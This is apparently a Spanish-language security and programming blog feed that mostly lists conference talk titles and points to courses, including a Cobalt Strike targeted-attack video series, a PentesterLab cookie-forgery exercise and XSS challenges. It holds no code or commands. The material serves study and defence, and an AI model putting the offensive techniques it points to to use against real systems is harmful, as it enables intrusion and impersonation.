• Using Online Activity as Digital DNA to Create a Better Spear Phisher
• CreepyDOL: Cheap, Distributed Stalking
• OptiROP: The Art of Hunting ROP Gadgets
• BlackberryOS 10 From a Security Perspective
• Shattering Illusions in Lock-Free Worlds: Compiler/Hardware Behaviors in OS and VMs
• Password Hashing: The Future is Now
• Pass the Hash and other credential theft and reuse: Preventing Lateral Movement...
• How to grow a TREE (Taint-Enabled Reverse Engineering Environment) from a CBASS...
• Predicting Susceptibility to Socialbots on Twitter
• Pass-the-Hash 2: The Admin's Revenge
• Energy Fraud and Orchestrated Blackouts: Issues with Wireless Metering Protocols...
• Hot Knives Through Butter: Bypassing Automated Analysis Systems
• Post Eploitation Operations with Cloud Synchronization
• Defending Networks With Incomplete Information: A Machine Learning Approach
• With BIGDATA comes BIG responsibility: Practical exploiting of MDX injections
• Power Analysis Attacks for Cheapskates
• Fact and Fiction: Defending Medical Device
• Maltego Tungsten As a Collaborative Attack Platform
• BinaryPig - Scalable Malware Analytics in Hadoop

Vídeos de la Defcon 21

Ya están disponibles a través de Youtube los vídeos de la pasada edición de Defcon.

• Proliferation
• Torturing Open Government Systems for Fun, Profit and Time Travel
• Backdoors, Government Hacking and The Next Crypto Wars
• ACL Steganography - Permissions to Hide Your Porn
• Protecting Data with Short-Lived Encryption Keys and Hardware Root of Trust
• Google TV or: How I Learned to Stop Worrying and Exploit Secure Boot
• A Password is Not Enough: Why Disk Encryption is Broken and How We Might Fix It
• From Nukes to Cyber— Alternative Approaches for Proactive Defense and Mission Assurance
• The Politics of Privacy and Technology: Fighting an Uphill Battle
• Defeating Internet Censorship with Dust, the Polymorphic Protocol Engine
• Privacy In DSRC Connected Vehicles
• Phantom Network Surveillance UAV / Drone
• Safety of Tor Network Look at Network Diversity, Relay Operators & Malicious Relays
• De-Anonymizing Alt.Anonymous. Messages
• The DEF CON 21 Badge
• The Growing Irrelevance of US Government Cybersecurity Intelligence Information
• The Dirty South - Getting Justified with Technology
• Prowling Peer-to-Peer Botnets After Dark
• Evil DoS Attacks and Strong Defenses
• Kill 'em All— DDoS Protection Total Annihilation!
• VoIP Wars: Return of the SIP
• Unexpected Stories - From a Hacker Who Made It Inside the Government
• Dude, WTF in my car?
• The Road Less Surreptitiously Traveled
• Home Invasion 2.0 - Attacking Network-Controlled Consumer Devices
• RFID Hacking: Live Free or RFID Hard
• Stalking a City for Fun and Frivolity
• Hacking Wireless Networks of the Future: Security in Cognitive Radio Networks
• BYO-Disaster and Why Corporate Wireless Security Still Sucks
• The Cavalry Isn't Coming: Starting the Revolution to Fsck it All!
• The Dark Arts of OSINT
• EMET 4.0 PKI Mitigation
• Stepping P3wns: Adventures in Full Spectrum Embedded Exploitation (and defense!)
• EDS: Exploitation Detection System
• Conducting Massive Attacks with Open Source Distributed Computing
• Revealing Embedded Fingerprints: Deriving Intelligence from USB Stack Interactions
• Traffic Interception and Remote Mobile Phone Cloning with a Compromised CDMA Femtocell
• The Secret Life of SIM Cards
• DragonLady: An Investigation of SMS Fraud Operations in Russia
• Offensive Forensics: CSI for the Bad Guy
• Pwn'ing Your® Cyber Offenders
• MITM All The IPv6 Things
• HTTP Time Bandit
• How to use CSP to Stop XSS
• So You think Your Domain Controller is Secure?
• Getting The Goods With smbexec
• Abusing NoSQL Databases
• Examining the Bitsquatting Attack Surface
• Please Insert Inject More Coins
• Do-It-Yourself Cellular IDS
• BoutiqueKit: Playing WarGames with Expensive Rootkits and Malware
• Android WebLogin: Google's Skeleton Key
• Building an Android IDS on Network Level
• Defeating SEAndroid
• Doing Bad Things to "Good" Security Appliances
• Electromechanical PIN Cracking with Robotic Reconfigurable Button Basher (and C3BO)
• Data Evaporation from SSDs
• GoPro or GTFO: A Tale of Reversing an Embedded System
• JTAGulator: Assisted Discovery of On-Chip Debug Interfaces
• gitDigger: Creating useful wordlists from public GitHub repositories
• Made Open: Hacking Capitalism
• The Dawn of Web 3.0: Website Mapping and Vulnerability Scanning in 3D
• Combatting Mac OSX/iOS Malware with Data Visualization
• A Thorny Piece of Malware (And Me): The Nastiness of SHE, VFTables & Multi-Threading
• Transcending Cloud Limitations by Obtaining Inner Piece
• Utilizing Popular Websites for Malicious Purposes Using RDI
• Open Public Sensors, Trend Monitoring and Data Fusion
• Collaborative Penetration Testing With Lair
• PowerPwning: Post-Exploiting By Overpowering PowerShell
• Evolving Exploits Through Genetic Algorithms
• Adventures in Automotive Networks and Control Units
• Hacking Driverless Vehicles
• 10000 Yen into the Sea
• Business Logic Flaws In Mobile Operators Services
• Meet the VCs
• The ACLU Presents: NSA Surveillance and More
• The Government and UFOs: A Historical Analysis
• How my Botnet Purchased Millions of Dollars in Cars and Defeated the Russian Hackers
• Fear the Evil FOCA: IPv6 attacks in Internet Connections
• Legal Aspects of Full Spectrum Computer Network (Active) Defense
• We are Legion: Pentesting with an Army of Low-power Low-cost Devices
• Pwn The Pwn Plug: Analyzing and Counter-Attacking Attacker-Implanted Devices
• DC Awards
• PowerPreter: Post Exploitation Like a Boss
• DNS May Be Hazardous to Your Health
• Exploiting Music Streaming with JavaScript
• Java Every-Days: Exploiting Software Running on 3 Billion Devices
• HiveMind: Distributed File Storage Using JavaScript Bonets
• Defending Networks with Incomplete Information: A Machine Learning Approach
• Blucat: Netcat For Bluetooth
• BYOD PEAP Show
• Closing Ceremonies
• All Your RFz Are Belong to Me - Hacking the Wireless World with Software Defined Radio
• Making Of The DEF CON Documentary
• Ask the EFF: The Year in Digital Civil Liberties
• Decapping Chips The Strike Easy Hard Way
• Insecurity - A Failure of Imagination
• Key Decoding and Duplication Attacks for the Schlage Primus High-Security Lock
• DEF CON Comedy Jam Part VI, Return of the Fail
• Hardware Hacking with Microcontrollers: A Panel Discussion
• An Open Letter The White Hat's Dilemma
• Suicide Risk Assessment and Intervention Tactics
• OTP, It won't save you from free rides!
• How to Disclose or Sell an Exploit Without Getting in Trouble
• Defense by numbers: Making Problems for Script Kiddies and Scanner Monkeys
• Social Engineering: The Gentleman Thief
• This Presentation Will Self-Destruct in 45 Minutes
• Fast Forensics Using Simple Statistics and Cool Tools
• Forensic Fails - Shift + Delete Won't Help You Here
• C.R.E.A.M. Cache Rules Evidently Ambiguous, Misunderstood

Clases sobre ingeniería inversa y análisis de …

Desde securityxploded.com podemos acceder al meterial de dos clases sobre ingeniería inversa y análisis de malware. La primera es de iniciación y la segunda sobre temas más avanzados.

En el material de las mismas podrás encontrar vídeos, diapositivas, referencias a libros, herramientas, etc. La clase de iniciación está completa y te puedes descargar todo el material desde aquí. En la avanzada, como podemos ver más abajo, faltan algunas de las sesiones, que supongo publicarán en un futuro. Mientras tantos hay material para entretenerse un rato.

Domingo por la mañana, Ólafur Arnalds, 0040

Spotify & GrooveShark

Perfecta para un día de invierno …

Ólafur Arnalds

Implementación de AES en una hoja de cálculo

Si la criptografía ya es complicada entenderla de por sí, aún más complicado es explicarla. Por lo que cuantos más herramientas de “uso común” podamos usar para su estudio mejor que mejor.

Nayuki Minase, usando una hoja de cálculo ha sido capaz de implementar el algoritmo de cifrado AES.

Dicha implementación soporta claves de 128, 192 y 256 bit. En la hoja de cálculo podemos ver los cálculos realizados en cada pasada (fases). Modificando las celdas de la cadena y clave, vemos como la hoja se actualiza mostrando el resultado final, así como los valores en cada fase.

Er docu der finde: Ingeniería extraterrestre

Programando un Space Invaders en Javascript + HTML

Para los que se quieran iniciar en el mundo de la programación, en especial en el mundo de los juegos web o basados en HTML y Javascript, en Project Code, Dave Kerr ha iniciado un tutorial de como crear un juego estilo Space Invaders.

Ahora mismo sólo hay 2 entradas sobre dicho tutorial:

• Learn JavaScript: Part 1 - Create a Starfield
• Learn JavaScript Part 2 - Space Invaders

Pero con bastante contenido. De hecho, con lo publicado ya tienes un juego totalmente funcional, aunque no al 100%. En las siguientes entradas Dave se va enfocar en la potencia ofrecida por HTML5 y su Canvas, así como un framework Javascript que está dando mucho que hablar AngularJS.

El código fuente del proyecto se encuentra alojado en Github, para los que quieran echar un vistazo directamente al código fuente.

Suplantación de identidad a través del robo de …

ECB (Electronic codebook) es otro de los magníficos ejercicios de PentesterLab en el que podemos aprender a robar cookies que usan cifrado ECB o por bloques, de forma débil, del cual nos podríamos a provechar para suplantar la identidad de otro usuario.El ejercicio es de iniciación y todo lo que se requieren son conocimientos básicos de PHP y HTTP, además de un software de virtualización (VirtaulBox o VMPlayer por ejemplo).Como de costumbre te puedes descargar la máquina virtual para 32 ó 64 bits además del PDF que nos guía a través del ejercicio.

Cursos oficiales de Github

Github creo que no necesita ningún tipo de presentación, pero si hay algún despistado por la sala, es un sitio web que ofrece servicios de alojamiento de proyectos basado en Git. Y el despistado de turno se preguntará que es Git. Pues Git es un servidor de control de versiones distribuido.

Git es una herramienta muy potente y ha revolucionado el campo de los repositorios de versión control. Por lo que Github, estando basado en Git, se aprovecha de dicha potencia. Uno de los problemas que tiene Git, desde mi punto de vista, es que la curva de aprendizaje no es muy liviana, sobre todo para el que se enfrenta por primera vez con esta tecnología. Y por lo tanto, lo mismo ocurre con Github.

5 razones por las que deberíamos enseñar a …

Por Kodable

Simulador de IBM PC 8088 escrito en Javascript

PCjs es el nombre de un simulador de IBM PC 8088 escrito totalmente en Javascript y que por lo tanto puedes ejecutar en tu navegador.

Una de las cosas que me más me llamaron la atención de este simulador, es que es configurable y nos permite crear nuestros propios sistemas basados en la arquitectura mencionada IBM PC (PC XT). Te permite crear tu propio sistema personalizado. En el ejemplo de la documentación podemos ver por ejemplo la creación de un sistema con una velocidad de reloj de 4.77Mhz, 64Kb de RAM y pantalla monocromo, usando la ROM BIOS del IBM PC modelo 5150, pero podemos cambiar dichos parámetros a nuestros gustos y necesidades.

Domingo por la mañana, Volcano Choir, Tiderays

Spotify & GrooveShark

Volcano Choir

Tareas comunes en el desarrollo de aplicaciones …

Es muy común para el desarrollador en general el buscar continuamente a través de la documentación de nuestro lenguaje o foros, listas de correo, etc cuando nos enfrentamos ante una situación en la que tenemos ciertas dudas.

Esta entrada está enfocada particularmente para aquellos que desarrollan aplicaciones Android. En Github existe un repositorio que recolecta una serie de notas o tareas comunes a las que los desarrolladores tienen que enfrentarse. Las notas están sacadas del curso intensivo ofrecido sobre Android por {code}path de forma gratuita.

Er docu der finde: Marte, las nuevas evidencias

Material de la Zero Nights 2013

Disponible el material de las presentaciones dadas en la conferencia rusa Zero Nights 2013:

• Endpoint security via application sandboxing and virtualization — past, present, future
• State of Crypto Affairs
• Practical exploitation of rounding vulnerabilities in internet banking applications
• The Machines that Betrayed their Masters
• Virtually Impossible: The Reality Of Virtualization Security
• DbiFuzz framework
• Windows Kernel Trap Handler and NTVDM Vulnerabilities — Case Study
• IP fragmentation attack on DNS
• HART (in)security
• Exploitation of AVR & MSP microchips
• Filesystem timing attacks practice
• Strike to the infrastructure: a story about analyzing thousands mobile apps
• SCADA deep inside: protocols, security mechanisms, software architecture
• Anatomy and metrology of DoS/DDoS
• TOPGUN multi terabit DPI
• Timing analysis
• An introduction to the use SMT solvers for software security
• BlackBox analysis of iOS apps
• Hacking HTML5
• Physical (In)Security — it’s not –ALL– about Cyber
• Advanced exploitation of Android Master Key Vulnerability (bug 8219321)
• HexRaysCodeXplorer: make object-oriented RE easier
• Practical application of math methods and image recognition in attack detection. With novel case studies :)
• Web under pressure: DDoS as a service
• Hosting dashboard web application logic vulnerabilities
• Session management errors in cloud solutions and in classic hosting systems
• Hesperbot: analysis of a new banking trojan
• NGINX Warhead
• Testing of password policy
• Accounting hacking — arch bugs in MS Dynamics GP
• HR Hacking — bugs in PeopleSoft
• DBO Hacking — arch bugs in BSS
• Business Intelligence hacking – Breaking ICCube
• Dev system hacking — arch bugs in SAP SDM

Domingo por la mañana, Sleepy Eyes of Death, …

El vídeo es un directo, para escuchar la canción original (son prácticamente iguales):

Spotify y Grooveshark

… me gustan, tienen ese toque tecno/electrónico ochentero, al más puro estilo M83.

Web de Sleepy Eyes of Death

Microhistorias: ¿Sabes de dónde vino el nombre de …

Leyendo esta fenomenal entrada de Coding Horror sobre uno de nuestros libros favoritos, del que ya hemos hablado en CyberHades contando alguna historia, llamado "Masters of Doom", que cuenta la historia de John Carmack y John Romero, creadores de los míticos Wolfenstein 3D, Doom y Quake, no me acordaba del extraño origen del nombre para el mítico juego Doom.

Posiblemente pensabas, como yo, que al llamarse "perdición" (traducción de "doom") tendría algún origen satánico, de alguna película de zombies, etc. Pero no, y a lo mejor te rompo la leyenda cuando veas el origen real del nombre del juego, ¿estás preparado?:

Vídeo explicando el método de compresión L.Z.77 …

(recuerda que siempre puedes activar los subtítulos)

LZ77 y LZ78

The Hobbit: The Desolation of Smaug (Trailer)

Desarrollo de aplicaciones en iOS 7 por la …

La Universidad de Stanford ya nos regalaba un curso sobre iOS 6 totalmente gratuito y ahora han puesto a disposición otro curso, pero basado en iOS 7. Éste no es un curso completo, sino más bien una actualización del anterior. Por lo que si quieres iniciarte en la creación de aplicaciones para iPhone y iPad, deberías hacer ambos cursos.

En el curso sobre iOS 7, las clases son las siguientes:

Er docu der finde: iGenius

Presentaciones de la Hack.Lu 2013

Ya están disponibles las diapositivas de la Hack.Lu 2013 celebrada del 22-24 de octubre en Luxemburgo:

• Thijs Houtenbos, Dennis Pellikaan - Automated vulnerability scanning and exploitation
• Jurriaan Bremer - Abusing Dalvik Beyond Recognition
• J. Butterworth, C. Kallenberg, X. Kovah - BIOS Chronomancy: Fixing the Core Root of Trust for Measurement
• Fran Cisco - Wiretapping an entire Cisco VOIP environment - Exploiting the Call Manager
• Abstract
• Philippe Teuwen - Unveiling online banking authentication devices
• Sebastien Larinier, Guillaume Arcas - Exploit Krawler Framework PCAP2Bubbles
• J. Boutet, T. Leclerc - Grand Theft Android: Phishing with permission
• Fyodor Yarochkin and Vladimir Kropotov - Pearls of Cybercrime: malicious campaigns of year 2013
• Shift - Interactive Deobfuscation
• Marion Marschalek - The Big Evil in Small Pieces - A Malware Reverser's Fairytale
• Dominique Bongard - Deanonymizing members of French political forums by breaking gravatar hashes
• David Szili, Mihaly Zagon - Time to evolve? Applying red and blue team CTF tactics in IT security
• Cédric Halbronn, Nicolas Hureau - Debugging and Reversing the HTC Android Bootloader
• Axelle Apvrille - Playing Hide and Seek with Dalvik Executables
• Francisco Falcon, Nahuel RIva - Do you know who's watching you?: An in-depth examination of IP cameras attack surface
• Mathias Morbitzer - TCP Idle Scans in IPv6
• Banque Öhman - Defensive strategies

Google Search Optimization (PDF)

Este libro gratuito de Google que puede descargar desde este enlace, nos explica como hacer pequeñas modificaciones en nuestra web para optimizarla en su interacción con el motor de búsqueda.

Un documento interesante para echarle un vistazo por lo menos.

Presentaciones de Ruxcon 2013

Ya tenemos disponibles las presentaciones (diapositivas) de Ruxcon 2103, conferencia sobre seguridad informática celebrada anualmente en Melbourne, Australia.

• Amateur Satellite Intelligence: Watching North Korea
• Payment Applications Handle Lots of Money. No, Really: Lots Of It.
• Visualization For Reverse Engineering and Forensics
• Electronic Voting Security, Privacy and Verifiability
• Cracking and Analyzing Apple iCloud Protocols: iCloud Backups, Find My iPhone, Document Storage
• Buried by time, dust and BeEF
• Under the Hood Of Your Password Generator
• Malware, Sandboxing and You: How Enterprise Malware and 0day Detection is About To Fail (Again)
• VoIP Wars: Return of the SIP
• BIOS Chronomancy: Fixing the Static Root of Trust for Measurement
• The BYOD PEAP Show: Mobile Devices Bare Auth
• Bypassing Content-Security-Policy
• Deus Ex Concolica - Explorations in end-to-end automated binary exploitation
• Top of the Pops: How to top the charts with zero melodic talent and a few friendly computers
• AntiTraintDroid - Escaping Taint Analysis on Android for Fun and Profit
• Introspy : Security Profiling for Blackbox iOS and Android
• Inside Story Of Internet Banking: Reversing The Secrets Of Banking Malware
• Edward Snowden: It's Complicated
• Roll the Dice and Take Your Chances
• Cracking, CUDA and the Cloud – Cracking Passwords Has Never Been So Simple, Fast and Cheap

Hacking Techniques and Intrusion Detection

Hacking Techniques and Intrusion Detection es una nueva clase disponible en Open Security Training.

La clase cubre los métodos más usados en ataques informáticos con la intención de aprender a defendernos y protegernos de ellos. En comparación con otras clases ofrecidas en Open Security Training, ésta es bastante extensa. El tiempo recomendado de la misma es de 5 a 6 días de clase intensos o entre 10-15 días, si prefieres un horario más relajado.

Domingo por la mañana, Hemiplegia, Haerts

Spotify y GrooveShark

Haerts

The MagPi 18, noviembre 2013

Ya está disponible el número de noviembre de la magnífica revista electrónica dedicada a Raspberry Pi The MagPi. En este número 18 podemos encontrar el siguiente contenido:

• ATMEL WIRELESS MCUS: USING LOW POWER WIRELESS
• PROJECT CURACAO: REMOTE SENSOR MONITORING IN THE CARIBBEAN
• BRICKPI: LEGO® NXT INTERFACE
• IR SENSITIVE
• PHYSICAL COMPUTING
• PI VISION
• LOGI-PI SPARTAN6 FPGA BOARD
• THE RASPBERRY PI AT CERN
• BOOK REVIEWS
• COMPETITION
• C++ CACHE
• THIS MONTH'S EVENTS GUIDE
• FEEDBACK

Como siempre la puedes descargar en formato PDF o leerla en línea.

Más HackerSpaces de Europa y el Mundo

Click en la imagen para ver fotos del Hack42 en Alemania (instalado en una vieja base militar)

Ya sabéis que nos encantan los "Hackerspaces" y como no tenemos muchos aquí en España (si conocéis alguno que esté en funcionamiento hoy día nos gustaría saberlo), uno de nuestros pasatiempos es ver cómo se lo montan y observar con envidia la cantidad de hardware (moderno y clásico), herramientas, etc que tienen en estos lugares de diversión geek.

The Hobbit vs The Simpsons

Er docu der finde: La Tecnología de los 80

Material de la Ekoparty 2013

Ya podemos descargarnos y ver las presentaciones de la Ekoparty 2013. Conferencia sobre seguridad informática de primer nivel.

Ekoparty se organiza cada año en Buenos Aires, Argentina.

• Droid Rage: Android exploitation on steroids - Pablo Solé - PDF - Video
• Modification to the Android operating system´s resource control - Joaquín Rinaudo - ZIP - Video
• Compromising industrial facilities from 40 miles away - Carlos Mario Penagos - PDF - PDF - Video
• Atacando IPv6 con Evil FOCA - Chema Alonso - PPT - Video
• String allocations in Internet Explorer - Chris Valasek - PPT - Video
• Compilador ROP - Christian Heitman - PDF - Video
• BIOS Chronomancy - Corey Kallenberg - PPT - Video
• Defeating Signed BIOS Enforcement - Corey Kallenberg - PPT - Video
• ERP Security: how hackers can open the box and take the jewels - Jordan Santasieri - PDF - Video
• Shoulder surfing 2.0 - Federico Pacheco - PPT - Video
• A symbolic execution engine for amd64 binaries - Felipe Manzano - PDF - Video
• Do you know who is watching you? - Nahuel Riva - PPT - Video
• Ahí va el capitán Beto por el espacio - Gera Richarte - PDF - Video
• Vote early and vote often - Harri Hursti - PDF - Video
• Sandboxing Linux code to mitigate exploiattion - Jorge Lucangeli Obes - PDF - Video
• All your sextapes are belong to us - Patricio Palladino - tgz - Video
• Debbugers are really powerful - Pwning all of the Android things - Mathew Rowley - PDF - Video
• Wighing in on issues with "Cloud Scale": Hacking the Withings WS-30 - Michael Coppola - PDF - Video
• Sentinel - Nicolás Economou - PDF - Video
• Uncovering your trails. Privacy issues of Bluetooth devices - Verónica Valeros - PDF - Video
• A mystery trip to the origin of Bitcoin - Sergio Demián Lerner - PDF - Video

Aprende JavaScript jugando a un juego de fantasía

http://codecombat.com/

Echa también un vistazo al blog para más información.

Excelente idea para hacer más ameno el aprendizaje, sobre todo para niños … y no tan niños ;)

"Journey", el nuevo "Cosmos" (trailer)

Más información aquí.

Domingo por la mañana, Edredón, Sopena

Spotify y en GrooveShark no los he encontrado …

Gracias a mi asesora personal por la recomendación ;)

Edredón

¡Cálico Electrónico nos necesita!

Mensaje de Niko:

WE NEED YOU

Triste es pedir pero más triste es robar así que te pedimos que nos eches una mano para sacar adelante esta “pedacho” de 5ª Temporada (o Temporada 5 y ya, si eso, haces tú la rima…) y de este modo poder continuar con la leyenda del super “jirou” más grande de toda la internés, el más machote, el inconmensurable, el inigualable, el único!!!…CÁLICO ELECTRÓNICO!!!

¿No os da penita cuando os mira con esa carita al final de vídeo? ;)

Er docu der finde: Supercoches - Tesla

Mejora tus habilidades de penetración... ¡web!

Al final, todas las aplicaciones web tienen la misma base y estructura. Todas están basada en peticiones GET o POST (PUT y DELETE en aplicaciones REST) sobre HTTP/S, procesado en el servidor, renderizado del código HTML devuelto por el servidor en el navegador, ejecución de javascript, manejo de cookies, etc.

Esa es la base de cualquier aplicación web sin importar el lenguaje en el que está escrita y todo auditor de seguridad de aplicaciones web debe conocer y manejar dichos conceptos con soltura.

Análisis estático de código en scripts de Bash

Una de las opciones de las que dispone Bash es la opción -n, que hace un análisis sintáctico de un script y nos alerta de errores en nuestro script.

Muchas veces, cometemos errores que no son sintácticos, sino más bien por desconocimiento o despiste podemos escribir código que sintácticamente es correcto, pero la ejecución del mismo no es lo que realmente esperamos del mismo.

Una buena referencia sobre este tipo de errores, errores comunes que se cometen en la programación de scripts Bash es Bash Pitfalls. Dónde concretamente nos dan 44 ejemplos de errores comunes con su correspondiente explicación.

Guía de fortificación y seguridad de servidores …

De acuerdo con Netcraft, a día de hoy Apache sigue siendo el rey en servidores web y por lo tanto el más usado a través de internet.

Es por ello, que también sea seguramente el más atacado por la cuota de mercado que ocupa. Por lo que tener un servidor Apache bien configurado es una tarea obligatoria para cualquier administrador.

Esta guía recientemente publicada nos ayuda con esta tarea. Trata desde el filtrado de información, hasta la configuración de los ficheros logs, pasando por la autorización, seguridad en aplicaciones web, configuración de SSL y Mod Security.

Domingo por la mañana, Múm, When Girls Collide

Spotify & GrooveShark

Múm

Presentaciones de la Virus Bulletin 2013

El pasado 2 - 4 de octubre se celebró en Berlín otra conferencia sobre seguridad informática enfocada más al tema del malware: VB2013 - Virus Bulletin 2013 (no, no es Visual Basic!). Esta es la 23 edición de esta conferencia.

Las presentaciones que se dieron ya están disponibles para descarga. La lista es la siguiente

Corporate stream

• Andreas Lindh ('Surviving 0-days - reducing the window of exposure')
• Sabina Datcu ('Targeted social engineering attacks. Sensitive information, from a theoretical concept to a culturally defined notion')
• Michael Johnson ('Make it tight, protect with might, and try not to hurt anyone')
• Randy Abrams & Ilya Rabinovich ('Windows 8 SmartScreen application control - what more could you ask for?')
• Axelle Apvrille ('Analysis of Android in-app advertisement kits')
• Vanja Svajcer ('Classifying PUAs in the mobile environment')
• Roman Unuchek ('Malicious redirection of mobile users')
• Craig Schmugar ('Real-world testing, the good, the bad, and the ugly')
• Ciprian Oprisa & George Cabau ('The ransomware strikes back')
• Jarno Niemela ('Statistically effective protection against APT attacks')
• Sergey Golovanov ('Hacking Team and Gamma International in "business-to-government malware"')

Technical stream

• Carsten Willems & Ralf Hund ('Hypervisor-based, hardware-assisted system monitoring')
• James Wyke ('Back channels and bitcoins: ZeroAccess' secret C&C communications')
• Xinran Wang ('An automatic analysis and detection tool for Java exploits')
• Rowland Yu ('GinMaster: a case study in Android malware')
• Samir Mody ('"I am not the D'r.0,1d you are looking for": an analysis of Android malware obfuscation')
• Farrukh Shazad ('The Droid Knight: a silent guardian for the Android kernel, hunting for rogue smartphone malware applications')
• Fabio Assolini ('PAC - the Problem Auto-Config (or "how to steal bank accounts with a 1KB file")')
• Samir Patil ('Deciphering and mitigating Blackhole spam from email-borne threats')
• Evgeny Sidorov ('Embedding malware on websites using executable webserver files')
• Amr Thabet ('Security research and development framework')

'Last-minute' technical papers

• Gabor Szappanos ('Hide and seek - how targeted attacks hide behind clean applications')
• Ross Gibb ('Lessons learned: sinkholing a peer-to-peer botnet')
• Dennis Batchelder & Hong Jia ('Working together to defeat attacks against AV automation')

Libros, libros y más libros

En Github se ha creado un repositorio nuevo, el cual no contiene ningún tipo de programa o aplicación sino cientos de enlaces a libros gratuitos principalmente sobre programación.

Una de las ventajas de usar Github (en realidad cualquier repositorio de control de versiones) es que es muy fácil bajarnos (clonar) el repositorio completo. Otra gran ventaja de este método es la colaboración. Se hace muy fácil el poder añadir nuestros propios enlaces y hacer una petición para que se incorporen al repositorio principal.

Er docu der finde: CIA, operaciones clandestinas

Presentaciones de la HITBSECCONF Malaysia 2013

Las presentaciones de la Hack In The Box Security Conference (HITBSECCONF) 2013 celebrada en Malasia han sido publicadas.

Las lista de las diapositivas es la siguiente:

• D1 KEYNOTE - Andy Ellis - Cognitive Injection.pdf
• D1T1 - Collin Mulliner - Android DDI - Dynamic Dalvik Instrumentation of Android Applications.pdf
• D1T1 - Dominic Chell and Shaun Colley - Practical Attacks Against Encrypted VoIP Communications.pdf
• D1T1 - Gianni Gnesa - Hacking Corporations Using Unconventional Chained Exploits.pdf
• D1T1 - Kallenberg, Kovah, Butterworth - Defeating Signed BIOS Enforcement.pdf
• D1T1 - Marco Balduzzi, Kyle Wilhoit Alessandro Pasta - Attacking Vessel Tracking Systems for Fun and Profit.pdf
• D1T1 - Peter 'bl4sty' Geissler - Demystifying Game Console Security.pdf
• D1T2 - Adam Laurie - RFIDler - Software Defined RFID Reader Writer Emulator.pdf
• D1T2 - Andy Davis - Deriving Intelligence from USB Stack Interactions.pdf
• D1T2 - Francisco - Owning a Cisco VoIP Environment.pdf
• D1T2 - Joaquim Espinhara and Ulisses Alburquerque - Using Online Activity as Digital DNA.pdf
• D1T2 - Mariano Graziano and Andrea Lanzi - How Actaeon Unveils Your Hypervisor.pdf
• D1T2 - Mathias Morbitzer - TCP Idle Scans in IPv6.pdf
• D1T3 - Cem Gurkok - Hunting for OS X Rootkits in Memory.pdf
• D1T3 - Mike Shema - CSRF Lab.pdf
• D1T3 - Wes Brown - Malware Analysis Using Visualization.pdf
• D1T3 BONUS TALK - Marc Rogers - Why I Hacked TouchID and Still Think It's Awesome.pdf
• D2 KEYNOTE - Joe Sullivan - Bringing Social to Security - NO SLIDES.pdf
• D2T1 - Cyril 'pod2g' Cattiaux and GG - How Apple Can Read Your iMessages.pdf
• D2T1 - Hugo Teso - Digging Deeper Into Aviation Security.pdf
• D2T1 - James Forshaw - Exploiting XML Digital Signature Implementations.pdf
• D2T1 - Joshua 'p0sixninja' Hill - SHAttered Dreams.pdf
• D2T1 - Mark Vincent Yason - Diving Into IE10's Enhanced Protected Mode Sandbox.pdf
• D2T2 - Rahul Sasi - Static Analysis and Dynamic Instrumentation for Intelligent Exploit Analysis.pdf
• D2T2 - Stefan Esser - Tales from iOS 6 Exploitation and iOS 7 Security Changes.pdf
• D2T2 - Stefano Zanero - Tracking and Characterizing Botnets Using Automatically Generated Domains.pdf
• D2T2 - Victor van der Veen - A Fast and Complete Android Method Tracer.pdf
• D2T2 - Vladimir Katalov - Cracking and Analyzing Apple's iCloud Protocol.pdf
• D2T3 - Ashar Javad - Trusted Friend Attack.pdf
• D2T3 - Eric Michaud and Ryan Lackey - Thwarting Evil Maid Attacks.pdf
• D2T3 - Job de Haas - 20 Ways Past Secure Boot.pdf
• D2T3 - Keith Lee and Jonathan Werrett - Facebook OSINT.pdf
• D2T3 - Luiz Eduardo and Joaquim Espinhara - Lost in Translation.pdf

Vídeo tutoriales para aprender Git

Aquí os dejo una serie de vídeo tutoriales cortos y concisos para aquellos que queráis aprender git:

• Learn Git 01 - What is Git?
• Learn Git 02 - Installing Git
• Learn Git 03 - Settings
• Learn Git 04: Initialize the Repository
• Learn Git 05: Understanding Git
• Learn Git 06: Your First Commit
• Learn Git 07: Commit Messages
• Learn Git 08: The Head Pointer and Commit Chain
• Learn Git 09: Visualize Git
• Learn Git 10: Your First Real Commit
• Learn Git 11: Adding Multiple Files
• Learn Git 12: Using Git Diff
• Learn Git 13: Deleting Files
• Learn Git 14: Renaming Files
• Learn Git 15: Undo Changes
• Learn Git 16: Unstaging Files
• Learn Git 17: Ammending a Commit
• Learn Git 18: Reverting a Commit
• Learn Git 19: The Reset
• Learn Git 20: The Mixed Reset
• Learn Git 21: The Hard Reset
• Learn Git 22: Post-Reset Debreif
• Learn Git 23: .gitignore
• Learn Git 24: Git Log
• Learn Git 25: Intro to Branches
• Learn Git 26: Creating Branches
• Learn Git 27: Switching Branches
• Learn Git 28: Deleting Branches
• Learn Git 29: The Merge
• Learn Git 30: Merge Example
• Learn Git 31: Merge Conflicts

Depurando binarios Linux desde el navegador

Ya os hablamos de Voltron, un servicio que usando la flexibilidad de GDB nos permitía crear a través de varios terminales una interfaz un poco más amena que la nos ofrece el propio GDB.

Usando la misma idea y necesidad (depuración de binarios bajo Linux), SchemDBG es una interfaz gráfica escrita en CoffeeScript y enfocada con un único navegador en mente: Chromium, la versión open source de Google Chrome. Aunque dicho interfaz podría funcionar en otros navegadores, los creadores de la misma, en principio, no piensan dar soporte al resto y el desarrollo seguirá enfocado a Chromium.

Ataques dirigidos con Cobalt Strike

Raphael Mudge, creador de Armitage ha creado un curso llamado Tradecraft - Red Team Operations en el que durante unas 4 horas en total divididas en 9 vídeos, nos muestra como llevar a cabo un ataque dirigido como un actor externo usando Cobalt Strike.

Los vídeos están disponible en Youtube de forma totalmente gratuita. La lista de los mismos es la siguiente:

• Introduction
• Basic Exploitation (aka Hacking circa 2003)
• Getting a Foothold
• Social Engineering
• Post Exploitation with Beacon
• Post Exploitation with Meterpreter
• Lateral Movement
• Offense in Depth
• Operations

¿Quién sustituirá tu tarjeta de crédito? ¿QR o …

Pong, huevo de pascua en VMWare

Si usas los productos de VMWare: Fusion, Workstation, Player o vSphere y se te apetece echar una partidita al Pong, esto es lo que tienes que hacer:

1. Crea un fichero vacío (touch disco.img)
2. Arranca una máquina virtual asignando dicho fichero al dispositivo disquetera (floppy)

Una vez hecho eso tenemos un bonito Pong:

Si quieres añadirle un poco de colorido escribe la palabra pride

Yo sólo lo he probado con la versión Player 6.0.0 y funciona perfectamente.

16 retos de Cross-site Scripting (XSS)

Encontrar vulnerabilidades XSS o Cross-site Scripting es una tarea esencial para un auditor de seguridad de aplicaciones web.

